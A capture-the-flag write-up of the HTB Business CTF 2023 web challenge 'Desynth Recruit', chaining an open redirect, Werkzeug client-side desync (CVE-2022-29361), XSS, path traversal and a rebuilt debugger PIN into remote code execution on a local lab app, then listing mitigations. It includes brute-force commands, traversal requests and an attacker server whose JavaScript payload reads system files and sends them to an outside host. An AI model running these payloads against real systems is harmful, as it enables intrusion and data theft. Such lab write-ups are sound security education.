Post

Desynth Recruit

Challenge

  • CTF: HTB Business CTF 2023: The Great Escape
  • Name: Desynth Recruit
  • Category: Web
  • Difficulty: Medium
  • Points: 1000
  • Description: The Commonwealth of Arodor Maximus has seized control of the No #1 Desynth Recruit Agency and is currently employing it against the United Nations of Zenium. They are now attempting to recruit a significant number of bots for their war efforts. We require your assistance in safeguarding the agency and thwarting the sinister plans of Arodor Maximus.

Files

Download: web_desynth_recruit.zip

Synopsis

The Flask web application had an open redirect vulnerability that could be used to exploit CVE-2022-29361 Client-Side Desync on Werkzeug. This could then be chained to perform an XSS attack via a moderator bot that could be triggered on reporting an arbitrary user. After which could then be used to access file-read on three system files to reverse the Werkzeug Debugger pin to achieve full Remote Code Execution.

Initial Analysis

You can spin this up via docker and it will be hosted at http://127.0.0.1:1337 or http://172.17.0.3:1337

1
sudo ./build-docker.sh

When browsing to the site for the first time you are presented with a cool welcome screen of “No #1 Mercenary Pilot Recruit Agency for Intergalactic Bot Warfare”: desynth_1 The “Recruiter Portal” doesn’t lead anywhere. However, the “Mercenary Portal” redirects you to a combined Registration/Login Page at /login. We can create a user account and login. The registration POST’s to /register and the login POST’s to /login.

desynth_2

After logging in, we are brought to the /settings endpoint where we can configure our user profile! desynth_3

Vulnerability Identification

Looking at the challenge source-code we can identify some vulnerabilities:

Vuln 1 - Admin Password Bruteforce (Unintended)

In docker’s entrypoint.sh, the admin user password is generated using the following bash function:

1
2
3
function genPass() {
    echo -n $RANDOM | md5sum | head -c 32
}

The $RANDOM variable is a built-in shell variable that generates a random integer between 0 and 32,767 (2^15 - 1). This means the range of $RANDOM is from 0 to 32,767. That isn’t many combinations to stop bruteforcing and there is not any rate-limiting.

This password is then inserted into the internal MySQL database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
INSERT INTO web_desynth_recruit.users(
    id,
    username,
    password,
    full_name,
    issn,
    qualification,
    bio,
    iexp,
    meta_desc,
    is_public,
    meta_keywords,
    bots,
    ipc_submitted,
    ipc_verified
    ) VALUES(
        1,
        'admin',
        '$(genPass)',
        'Pete Maverick',
        '1333333333333337',
        'BPC','I\'m very passionate about bot piloting and I have set myself on a long term goal of training the next generation of bot pilots.','8', 'Pete Maverick\'s Profile', '1', 'expert, veteran, master-pilot, trainer',
        '["DisBot", "FBot", "GoBot", "InstaBot", "RedBot", "SpotBot", "TicBot", "TwiBot","ViBot"]',
        '1',
        '1'
    );

We can generate all the possible password combinations and append them to a text file.

1
2
3
4
for i in {1..32767}; do
    md5=$(echo -n "$i" | md5sum | awk '{print $1}')
    echo "$md5"
done > admin_md5.txt

We can then bruteforce with a tool such as ffuf and login with the admin:654146dbdcd94564df622bab7dfaba8b password!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ffuf -u 'http://172.17.0.3:1337/api/login' -H 'Content-Type: application/json' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -d '{"username":"admin","password":"FUZZ"}' -ac -w admin_md5.txt -r
 :: Method           : POST
 :: URL              : http://172.17.0.3:1337/api/login
 :: Wordlist         : FUZZ: /share/ctf/business2023/web_desynth_recruit/admin_md5.txt
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
 :: Header           : Content-Type: application/json
 :: Data             : {"username":"admin","password":"FUZZ"}
 :: Follow redirects : true
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

[Status: 200, Size: 41, Words: 6, Lines: 4, Duration: 33ms]
    * FUZZ: 654146dbdcd94564df622bab7dfaba8b

Vuln 2 - MySQL String Type Confusion Integer Bruteforce (Unintended)

Within the blueprints/routes.py where the /login endpoint is defined, it is expecting JSON data and passed directly into login_user_db(username, password).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@api.route('/login', methods=['POST'])
def api_login():
    if not request.is_json:
        return response('Invalid JSON!'), 400

    data = request.get_json()
    username = data.get('username', '')
    password = data.get('password', '')

    if not username or not password:
        return response('All fields are required!'), 401

    user = login_user_db(username, password)

    if user:
        session['auth'] = user
        return response('Logged In sucessfully'), 200

    return response('Invalid credentials!'), 403

In the login_user_db(username, password) function within database.py, it uses a prepared statements to pass the username and password directly into the query that matches up with the %s in the query.

1
2
3
4
5
6
7
8
def login_user_db(username, password):
    user = query('SELECT username FROM users WHERE username = %s AND password = %s', (username, password,), one=True)

    if user:
        token = create_JWT(user['username'])
        return token
    else:
        return False

However, a MySQL/MariaDB Type Confusion vulnerability was identified as there is not any input-sanitization such as checking if strings, integers, length, etc. For example, the integer user-input of [7842858] and password string of '7842858ddde53cb0a24dc8c9fea4f92b' is treated as identical in MySQL/MariaDB. This is because MySQL treats strings as integers until it hits a non-digit character as shown below:

MariaDB > select cast('7842858ddde53cb0a24dc8c9fea4f92b' as signed) as number;
+---------+
| number  |
+---------+
| 7842858 |
+---------+

Every time the challenge spawns the admin password changes, thus the range of the valid integer could be anywhere from 0-32 characters. For example, if the first digit was of charset a-f, it would be equivalent to [0]. Even with source-code, this type of vulnerability can be hard to identify as the logic-flow passes through multiple files, multiple functions and it isn’t identified on logic already in place, but the input-sanitization that is missing.

If the user bruteforced the /api/login page with various random integer passwords ranging from 0-32 characters, they would eventually get in.

Request:

1
2
3
4
5
6
7
8
9
10
11
POST /api/login HTTP/1.1
Host: 172.17.0.3:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 41
Connection: close

{"username":"admin","password":[7842858]}

Response:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Server: Werkzeug/2.1.0 Python/3.11.4
Content-Type: application/json
Content-Length: 41
Vary: Cookie
Set-Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJbUZrYldsdUlpd2laWGh3SWpveE5qa3dNRGc0TURZeWZRLjd4Z0RjUVlqRDR2dWtEeDlWeTFLbm1jMXRPSThaQzVaUlpMcFF6MWhISzAifQ.ZLxeHg.nGahMy86GqzE0ZJlyOKmgB2RkKM; HttpOnly; Path=/

{
  "message": "Logged In sucessfully"
}

Vuln 3 - Open-Redirect - /go

Synk identified a open redirect vulnerability at the /go endpoint in blueprints/routes.py. desynth_4

1
2
3
@web.route('/go')
def goto_external_url():
    return redirect(request.args.get('to'))

Vuln 4 - Path Traversal - /ipc_submit

Synk identified a path traversal at the /ipc_submit POST endpoint. However, this only allows saving .png files anywhere on the file system and the filename is tied directly to the username used at registration. Also, if ipc_file.filename contains an absolute path (starts with /), os.path.join() ignores the current_app.root_path and current_app.config['UPLOAD_FOLDER'] and returns ipc_file.filename only!

desynth_5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@api.route('/ipc_submit', methods=['POST'])
@is_authenticated
def ipc_submit(user):
    if 'file' not in request.files:
        return response('Invalid file!')

    ipc_file = request.files['file']

    if ipc_file.filename == '':
        return response('No selected file!'), 403

    if ipc_file and allowed_file(ipc_file.filename):
        ipc_file.filename = f'{user["username"]}.png'
        ipc_file.save(os.path.join(current_app.root_path, current_app.config['UPLOAD_FOLDER'], ipc_file.filename))
        update_ipc_db(user['username'])

        return response('File submitted! Our moderators will review your request.')

    return response('Invalid file! only png files are allowed'), 403

This could potentially be abused to save any data to the target in order to bypass CORS for instance. However, the .png extension is limiting and some browsers will try to always

Vuln 5 - Path Traversal - /ipc_download

Synk identified another path traversal vulnerability at the /ipc_download endpoint. However, this is a restricted admin only endpoint.

desynth_6

1
2
3
4
5
6
7
8
9
10
11
12
13
@api.route('/ipc_download')
@is_authenticated
def ipc_download(user):
    if user['username'] != 'admin':
        return response('Unauthorized'), 401

    path = f'{os.path.join(current_app.root_path, current_app.config["UPLOAD_FOLDER"])}{request.args.get("file")}'
    try:
        with open(path, "rb") as file:
            file_content = file.read()
        return Response(file_content, mimetype='application/octet-stream')
    except:
        return response('Something Went Wrong!')

The following example uses admin access to send a request to fetch the /etc/passwd file on the target with with the path traversal payload ../../../../: Request:

1
2
3
4
5
6
7
8
9
10
GET /api/ipc_download?file=../../../../etc/passwd HTTP/1.1
Host: 172.17.0.3:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://172.17.0.3:1337/ipc_documents
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJbUZrYldsdUlpd2laWGh3SWpveE5qa3dNREUzTXpJNWZRLlRPSGFnekE0NWZmVnBBTlRYRzJmTmd1XzJHVjc1WWYyWkYwamtLU0pOSEkifQ.ZLtJ0Q.nPxMHl108SZK9X0AWEG7r7C6_2w; __wzd020509e80c63b34fc8ff=1689427629|5e76079a6fcc
Upgrade-Insecure-Requests: 1

Response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
HTTP/1.1 200 OK
Server: Werkzeug/2.1.0 Python/3.11.4
Content-Type: application/octet-stream
Content-Length: 1223
Vary: Cookie

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin

Vuln 6 - CVE-2022-29361 Client-Side Desync on Werkzeug to XSS

Werkzeug is a python Web Server Gateway Interface (WSGI) library for website development. It provides a simple way to set up an operational HTTP server for developers and is mostly present in Flask in development mode. In latest versions, Werkzeug use python library to handle most parts of the HTTP protocol.

The following blog at https://mizu.re/post/abusing-client-side-desync-on-werkzeug details CVE-2022-29361 Client-Side Desync on Werkzeug versions 2.1.0 to 2.1.1. Using this vulnerability on a vulnerable host could lead to a full account takeover exploit via Cross-Site Scripting (XSS). The challenge name is conveniently close to the title of the vulnerability / blog, thus making this the intended path to be abused.

Looking at the requirements.txt file, we can see the Flask and Werkzeug versions that the application is build with, making it vulnerable to CVE-2022-29361.

1
2
3
4
5
6
7
8
9
10
Flask==2.1.0
Werkzeug==2.1.0
flask_mysqldb
pyjwt
bcrypt
colorama
Jinja2==3.1.2
flask_expects_json
selenium
mysqlclient==2.1.1

After registering a user, we can browse to /profile/<id> and find additional hidden functionality of reporting user accounts at /report.

desynth_7

Analyzing blueprints/routes.py, we find that when a user is reported, a thread is spawned to run the bot() function as admin as shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@api.route('/report', methods=['POST'])
@is_authenticated
def report(user):
    if not request.is_json:
        return response('Missing required parameters!'), 401

    data = request.get_json()

    user_id = data.get('id', '')

    if not user_id:
        return response('Missing required parameters!'), 401

    admin_user = get_profile_db(1)

    thread = threading.Thread(target=bot, args=(user_id, admin_user['username'], admin_user['password']))
    thread.start()

    return response('User reported! Our mods are reviewing your report')

In bot/bot.py, the bot(id, username, password) function is defined. This spins up a headless chrome instance via selenium that logs in as the administrator and views the profile that was just reported.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
import time

def bot(id, username, password):
    chrome_options = Options()

    chrome_options.add_argument('headless')
    chrome_options.add_argument('no-sandbox')
    chrome_options.add_argument('ignore-certificate-errors')
    chrome_options.add_argument('disable-dev-shm-usage')
    chrome_options.add_argument('disable-infobars')
    chrome_options.add_argument('disable-background-networking')
    chrome_options.add_argument('disable-default-apps')
    chrome_options.add_argument('disable-extensions')
    chrome_options.add_argument('disable-gpu')
    chrome_options.add_argument('disable-sync')
    chrome_options.add_argument('disable-translate')
    chrome_options.add_argument('hide-scrollbars')
    chrome_options.add_argument('metrics-recording-only')
    chrome_options.add_argument('no-first-run')
    chrome_options.add_argument('safebrowsing-disable-auto-update')
    chrome_options.add_argument('media-cache-size=1')
    chrome_options.add_argument('disk-cache-size=1')

    client = webdriver.Chrome(options=chrome_options)

    client.get(f"http://localhost:1337/login")

    time.sleep(3)
    client.find_element(By.ID, "username").send_keys(username)
    client.find_element(By.ID, "password").send_keys(password)
    client.execute_script("document.getElementById('login-btn').click()")
    time.sleep(3)
    client.get(f"http://localhost:1337/profile/{id}")
    time.sleep(10)

    client.quit()

The Python code of client.get(f"http://localhost:1337/profile/{id}"), where the id is from the initial /report request and is user-controlled. This can lead to path traversal to other endpoints and could be used to chain this with the open redirect vulnerability discussed at Vuln 3 - Open-Redirect at the /go endpoint.

Send the request for reporting with a path traversal payload of ../go?to=<attacker controlled> with curl or Burp:

1
2
3
4
curl 'http://172.17.0.3:1337/api/report'  -H 'Content-Type: application/json' -d '{"id":"../go?to=http://172.17.0.1/exploit"}' -b 'session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdOelEyTVROOS42MmJuWE5wY0JvaFpfQ1NZa3NpTUZGZWhMcmRYSlJ5d09WdVNDTjlqVVVJIn0.ZLwplQ.FJBSDS3rXDqXp9xVdw3aIcvrfZM'
{
  "message": "User reported! Our mods are reviewing your report"
}
1
2
3
4
5
6
7
8
9
POST /api/report HTTP/1.1
Host: 172.17.0.3:1337
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Cookie: session=eyJhdXRoIjoiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SjFjMlZ5Ym1GdFpTSTZJblJsYzNRaUxDSmxlSEFpT2pFMk9UQXdOelEyTVROOS42MmJuWE5wY0JvaFpfQ1NZa3NpTUZGZWhMcmRYSlJ5d09WdVNDTjlqVVVJIn0.ZLwplQ.FJBSDS3rXDqXp9xVdw3aIcvrfZM

{"id":"../go?to=http://172.17.0.1/exploit"}

The following Python code is used to startup a Flask instance to distribute a CVE-2022-29361 Client-Side Desync payload when the bot goes to our endpoint we control at /exploit. After the initial /exploit has been fetched, the bot then goes back to our endpoint at / to fetch a Cross-Site Scripting (XSS) payload that will read the input files on the target via Vuln 5 - Path Traversal - /ipc_download required to reverse the Werkzeug Debugger Pin Code of Vuln 7 - Werkzeug Debugger Remote Code Execution.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from flask import Flask, Response, request, redirect
from base64 import b64decode

app = Flask(__name__)


VULNERABLE_SERVER = "http://127.0.0.1:1337/"
SERVER_IP = "172.17.0.1"
SERVER_PORT = 80


@app.route("/")
def index():
    app.logger.info('This log message will be suppressed for specific requests')
    if "data" in request.args and "file" in request.args:
        file = request.args.get("file")
        data = request.args.get("data")
        decoded_data = b64decode(data).decode(encoding="utf-8", errors="ignore").strip()
        print(f"`{file}` Contents:", decoded_data)
        return redirect(VULNERABLE_SERVER)
    else:
        payload = f"""
files = ["/sys/class/net/eth0/address","/proc/sys/kernel/random/boot_id","/proc/self/cgroup"];
files.forEach(file => {{
    fetch(`/api/ipc_download?file=../../../..${{file}}`, {{
    method: 'GET',
    credentials: 'include'
    }}).then(response => response.text())
        .then(data => {{
        const url = `http://{SERVER_IP}:{SERVER_PORT}/?file=${{file}}&data=${{btoa(data)}}`;
        fetch(url);
        }});
}});
"""
        resp = Response(payload)
        resp.headers["Content-Type"] = "text/plain"

    return resp


@app.route("/exploit")
def exploit():
    payload = f"""<form id="x" action="http://localhost:1337/"
    method="POST"
    enctype="text/plain">
    <textarea name="GET http://{SERVER_IP}:{SERVER_PORT} HTTP/1.1
    Foo: x">Mizu</textarea>
    <button type="submit">CLICK ME</button>
    </form>
<script> x.submit() </script>"""
    return payload


if __name__ == "__main__":
    app.run(SERVER_IP, SERVER_PORT)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3 desync.py
 * Serving Flask app 'desync'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://172.17.0.1:80
Press CTRL+C to quit
172.17.0.3 - - [22/Jul/2023 16:07:51] "GET /exploit HTTP/1.1" 200 -
172.17.0.3 - - [22/Jul/2023 16:07:51] "GET / HTTP/1.1" 200 -
`/sys/class/net/eth0/address` Contents: 02:42:ac:11:00:03
172.17.0.3 - - [22/Jul/2023 16:07:51] "GET /?file=/sys/class/net/eth0/address&data=MDI6NDI6YWM6MTE6MDA6MDMK HTTP/1.1" 302 -
`/proc/self/cgroup` Contents: 0::/
172.17.0.3 - - [22/Jul/2023 16:07:51] "GET /?file=/proc/self/cgroup&data=MDo6Lwo= HTTP/1.1" 302 -
`/proc/sys/kernel/random/boot_id` Contents: 09ee7ff8-9079-43b2-a8a3-aaa4ff5a69c6
172.17.0.3 - - [22/Jul/2023 16:07:51] "GET /?file=/proc/sys/kernel/random/boot_id&data=MDllZTdmZjgtOTA3OS00M2IyLWE4YTMtYWFhNGZmNWE2OWM2Cg== HTTP/1.1" 302 -

Vuln 7 - Werkzeug Debugger Remote Code Execution

When the Flask Python web application in started, you can see the debug mode is on and is running as root (User ID 0). This is because the application is running is a production environment and app.Debug is not set to False.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo ./build-docker.sh
...[snip]..
2023-07-22 19:07:34,470 INFO Set uid to user 0 succeeded
2023-07-22 19:07:34,471 INFO supervisord started with pid 80
2023-07-22 19:07:35,473 INFO spawned: 'flask' with pid 81
 * Serving Flask app 'application.main' (lazy loading)
 * Environment: production
   WARNING: This is a development server. Do not use it in a production deployment.
   Use a production WSGI server instead.
 * Debug mode: on
 * Running on all addresses (0.0.0.0)
   WARNING: This is a development server. Do not use it in a production deployment.
 * Running on http://127.0.0.1:1337
 * Running on http://172.17.0.3:1337 (Press CTRL+C to quit)
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: 319-164-858

This enables an additional endpoint of /console that is pin protected that provides Python in-line code debugging that could be abused to achieve Remote Code Execution via libraries such as os or subprocess. However, will unrestricted file-read access, such as when exploiting Path Traversal vulnerabilities, this pin could be reversed by accessing the following files:

  • /sys/class/net/eth0/address
  • /etc/machine-id OR /proc/sys/kernel/random/boot_id
  • /proc/self/cgroup

After obtaining the file information, you can run follow along the walkthrough here https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug and obtain the reversed developer pin! The username of root and path of app.py of /usr/local/lib/python3.11/site-packages/flask/app.py can be accessed from the Docker test environment.

1
2
3
4
$ python3 werkzeug-getpin.py
Public bits: ['root', 'flask.app', 'Flask', '/usr/local/lib/python3.11/site-packages/flask/app.py']
Private bits: ['2485377892355', '09ee7ff8-9079-43b2-a8a3-aaa4ff5a69c6']
Debugger PIN: 319-164-858

Using this pin, we can access the interactive Python debug console at /console as shown and access the flag using the Python subprocess module or os module: desynth_8 desynth_9

Target Flag: HTB{C!ENT_S1D3_D3sYnc_4r3_fUn!!}

Mitigations

The following mitigations will help resolve some of these vulnerabilities:

  • Disable debug mode and remove Werkzeug package, especially in production mode via: app.debug = False
  • Remove open redirect of /go and use absolute redirects.
  • Save uploaded files in /ipc_submit as unpredictable filenames for each user.
  • Stripping leading slashes in the user controlled input of file in /ipc_download.
  • Update Werkzeug package to a version higher than 2.1.1.
  • Add rate-limiting on the API, such as /api/login to prevent bruteforcing.
  • Add input sanitization throughout including at registration, login, reporting, etc.
This post is licensed under CC BY 4.0 by the author.